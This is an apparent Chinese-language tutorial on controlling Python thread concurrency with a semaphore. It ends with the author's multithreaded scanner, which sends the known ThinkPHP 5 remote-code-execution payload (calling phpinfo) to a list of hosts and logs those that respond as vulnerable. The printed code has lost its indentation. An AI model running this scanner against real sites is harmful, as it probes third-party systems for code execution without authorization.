快捷導(dǎo)航

python多線程semaphore實(shí)現(xiàn)線程數(shù)控制的示例

更新時(shí)間：2020年08月10日 14:43:58 作者：TuudOp

這篇文章主要介紹了python多線程semaphore實(shí)現(xiàn)線程數(shù)控制的示例，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

前面寫(xiě)過(guò)一篇關(guān)于python多線程的實(shí)現(xiàn)的文章，但是效果不是最佳的，寫(xiě)法也不是很好。通過(guò)網(wǎng)上學(xué)習(xí)，也了解到了semaphore這個(gè)東西。

百度給的解釋?zhuān)篠emaphore是一種在多線程環(huán)境下使用的設(shè)施，該設(shè)施負(fù)責(zé)協(xié)調(diào)各個(gè)線程，以保證它們能夠正確、合理的使用公共資源的設(shè)施，也是操作系統(tǒng)中用于控制進(jìn)程同步互斥的量。

一個(gè)有趣的例子：假設(shè)停車(chē)場(chǎng)只有三個(gè)車(chē)位，一開(kāi)始三個(gè)車(chē)位都是空的。這時(shí)如果同時(shí)來(lái)了五輛車(chē)，看門(mén)人允許其中三輛不受阻礙的進(jìn)入，然后放下車(chē)攔，剩下的車(chē)則必須在入口等待，此后來(lái)的車(chē)也都不得不在入口處等待。這時(shí)，有一輛車(chē)離開(kāi)停車(chē)場(chǎng)，看門(mén)人得知后，打開(kāi)車(chē)攔，放入一輛，如果又離開(kāi)兩輛，則又可以放入兩輛，如此往復(fù)。

簡(jiǎn)而言之，也就是能夠控制多線程并發(fā)的數(shù)量。

簡(jiǎn)單記錄一下如何通過(guò)semaphore實(shí)現(xiàn)線程數(shù)的控制。

簡(jiǎn)單代碼：

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類(lèi)
 def __init__(self, i, sem): 
 super(test, self).__init__()   #繼承python的構(gòu)造方法，這為python2的寫(xiě)法，python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放線程數(shù)，線程數(shù)加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設(shè)置可同時(shí)執(zhí)行的最大線程數(shù)
 for i in range(50):
 sem.acquire()         #獲得線程，可用線程數(shù)減1
 t = test(i, sem)       #給執(zhí)行函數(shù)傳遞值
 t.start()           #執(zhí)行函數(shù)
sem = threading.Semaphore(5)    #設(shè)置可同時(shí)開(kāi)啟的線程數(shù)，這里為5個(gè)

每執(zhí)行一次函數(shù)的時(shí)候就獲得一個(gè)線程數(shù)，sem.acquire()；每次執(zhí)行完函數(shù)，就會(huì)釋放一個(gè)線程數(shù)，sem.release()。只要acquire()的線程數(shù)達(dá)到了最大數(shù)（這里為5），后面的線程就只能先等待前面獲得的線程執(zhí)行完函數(shù)過(guò)后釋放，后面的線程才能繼續(xù)執(zhí)行。

整個(gè)流程理解起來(lái)其實(shí)也很簡(jiǎn)單。

之前寫(xiě)過(guò)一次開(kāi)10個(gè)線程的多線程腳本，但是方法不夠好，這次用這個(gè)方法改了一下，貼在這里(掃描tp5是否存在代碼執(zhí)行漏洞的掃描腳本)：

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個(gè)漏洞的執(zhí)行函數(shù)
 def __init__(self, url, sem):
 super(check, self).__init__()   #繼承threading類(lèi)的構(gòu)造方法，python3的寫(xiě)法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5遠(yuǎn)程代碼執(zhí)行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執(zhí)行完函數(shù)，釋放線程，線程數(shù)加1

class host(threading.Thread):     #遍歷文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #繼承threading類(lèi)的構(gòu)造方法，python3的寫(xiě)法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個(gè)就獲得一個(gè)線程，直到達(dá)到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #執(zhí)行check()的執(zhí)行函數(shù)

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大線程數(shù)為10個(gè)
 thread = host(sem)         #傳遞sem值
 thread.start()

到此這篇關(guān)于python多線程semaphore實(shí)現(xiàn)線程數(shù)控制的示例的文章就介紹到這了,更多相關(guān)python 線程數(shù)控制內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

您可能感興趣的文章: